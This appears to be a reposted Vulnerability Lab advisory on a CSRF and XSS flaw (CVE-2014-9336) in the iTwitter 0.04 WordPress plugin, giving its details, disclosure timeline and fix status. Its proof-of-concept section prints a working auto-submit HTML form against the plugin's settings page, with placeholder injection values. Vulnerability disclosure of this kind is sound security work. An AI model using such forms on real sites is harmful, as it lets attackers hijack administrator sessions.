Home / exploits WordPress iTwitter 0.04 Cross Site Request Forgery / Cross Site Scripting
Posted on 19 December 2014
Document Title: =============== iTwitter v0.04 WP Plugin - XSS & CSRF Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1375 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9336 CVE-ID: ======= CVE-2014-9336 Release Date: ============= 2014-12-15 Vulnerability Laboratory ID (VL-ID): ==================================== 1375 Common Vulnerability Scoring System: ==================================== 2.5 Product & Service Introduction: =============================== https://wordpress.org/plugins/itwitter/ Abstract Advisory Information: ============================== The independent Vulnerability Laboratory Researcher (Manideep K.) discovered a cross site request forgery issue and a cross site vulnerability in the iTwitter v0.04 wordpress plugin. Vulnerability Disclosure Timeline: ================================== 2014-11-07: Author Notification (Manideep K.) 2014-12-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Wordpress Product: iTwitter - Wordpress Plugin 0.04 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A client-side cross site request forgery issue and a cross site scripting vulnerability has been discovered in the iTwitter 0.04 Wordpress Plugin. The client-side cross site request forgery vulnerability allows remote attackers to force client-side requests to execute application functions. The client-side cross site scripting vulnerability allows remote attackers to inject malicious script codes to compromise administrator session data. The xss vulnerability is located in the username and userpass values of the iTwitter.php file POST method request. Remote attackers are able to inject malicious script codes to the client-side application request. The csrf vulnerability is located in the same value request and allows to request the account session data. Both issues are only exploitable on the client-side of the application and the request method to inject is POST. The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5. Exploitation of the client-side web vulnerability requires no privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerabilities result in non-persistent phishing mails, session hijacking, non-persistent external redirect to malicious sources and client-side manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s): [+] Settings Vulnerable Parameter(s): [+] username [+] userpass Affected Module(s): [+] iTwitter.php Proof of Concept (PoC): ======================= The client-side cross site request forgery issue and a cross site scripting vulnerability can be exploited by remote attackers with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerabilities ... You can use the following exploit code to verify the vulnerability. Save the code as .html. The malicious page needs to be surfed by a non expired administrator session to take over the user session data. PoC: iTwitter.php <html> <body> <form action="http://localhost:8080/wordpress/wp-admin/options-general.php?page=iTwitter.php" method="POST"> <input type="hidden" name="itex_t_twitter_username" value="[csrf testing]&[xss testing]" /> <input type="hidden" name="itex_t_twitter_userpass" value="[csrf testing]&[xss testing]" /> <input type="hidden" name="itex_t_cache_enable" value="0" /> <input type="hidden" name="itex_t_cache_time" value="3600" /> <input type="hidden" name="itex_t_cache_where" value="0" /> <input type="hidden" name="itex_t_cache_file" value="C:wampwwwwordpresswp-contentpluginsitwitteriTwitterCacheFile.txt" /> <input type="hidden" name="global_debugenable" value="0" /> <input type="hidden" name="global_debugenable_forall" value="0" /> <input type="hidden" name="global_widget" value="0" /> <input type="hidden" name="global_collapse" value="1" /> <input type="hidden" name="itex_t_shorturls_service" value="random" /> <input type="hidden" name="itex_t_post2twitter_enable" value="0" /> <input type="hidden" name="itex_t_post2twitter_template" value="%title% %excerpt% %url%" /> <input type="hidden" name="itex_t_replace_links_enable" value="0" /> <input type="hidden" name="itex_t_last_tweets_enable" value="0" /> <input type="hidden" name="itex_t_last_tweets_users" value="" /> <input type="hidden" name="itex_t_last_tweets_pos" value="footer" /> <input type="hidden" name="info_update" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> Reference(s): http://localhost:8080/wordpress/wp-admin/options-general.php?page=iTwitter.php http://localhost:8080/wordpress/wp-admin/options-general.php Solution - Fix & Patch: ======================= 2014-11-24: WP Team action taken by closing the plugin and service Security Risk: ============== The security risk of the cross site request forgery and cross site scripting vulnerability is estimated as medium. (CVSS 2.5) Credits & Authors: ================== Manideep K. - Information Security Researcher [https://in.linkedin.com/in/manideepk] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
